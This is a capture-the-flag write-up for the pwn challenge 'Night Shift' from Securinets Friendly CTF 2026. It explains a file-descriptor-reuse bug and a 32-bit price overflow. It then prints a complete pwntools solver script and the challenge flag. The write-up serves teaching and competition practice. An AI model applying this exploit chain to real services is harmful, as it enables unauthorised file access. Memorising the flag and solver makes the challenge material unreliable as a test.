Securinets Friendly CTF 2026 / Pwn WRITEUP
Night Shift
The night desk is open.
EVENTSecurinets Friendly CTF 2026CATEGORYPwnDIFFICULTYmediumPOINTS300
Walkthrough
Solution
Registering a parcel creates a close-on-exec memfd. Cancelling it closes the file descriptor but leaves the slot's descriptor number behind. Inspecting the archive then opens /flag, and the kernel reuses that newly freed descriptor number.
The extension price is calculated in 32-bit arithmetic. Supplying 0x10000010 seconds makes seconds * 16 wrap to an affordable value while setting a future expiry even for the inactive slot. Authorizing that slot clears FD_CLOEXEC on the reused flag descriptor; dispatching the courier inherits it and prints the flag.
Reference solver
The reference solver supplied with the writeup:
#!/usr/bin/env python3
from pwn import *
context.log_level = "error"
io = remote("127.0.0.1", 9075)
io.sendlineafter(b"> ", b"1")
io.recvuntil(b"Parcel ID: ")
identifier = int(io.recvline())
io.sendlineafter(b"> ", b"3")
io.sendlineafter(b"Parcel ID: ", str(identifier).encode())
io.sendlineafter(b"> ", b"5")
io.sendlineafter(b"> ", b"4")
io.sendlineafter(b"Parcel ID: ", str(identifier).encode())
io.sendlineafter(b"Seconds: ", str(0x10000010).encode())
io.sendlineafter(b"> ", b"6")
io.sendlineafter(b"Parcel ID: ", str(identifier).encode())
io.sendlineafter(b"> ", b"7")
io.sendlineafter(b"Parcel ID: ", str(identifier).encode())
io.recvuntil(b"Securinets{")
flag = b"Securinets{" + io.recvuntil(b"}")
print(flag.decode())
io.close()Flag
Securinets{th3_n1ght_sh1ft_n3v3r_cl0s3s}
Published 2026-09-28 · by r3t0x← Back to archive · Pwn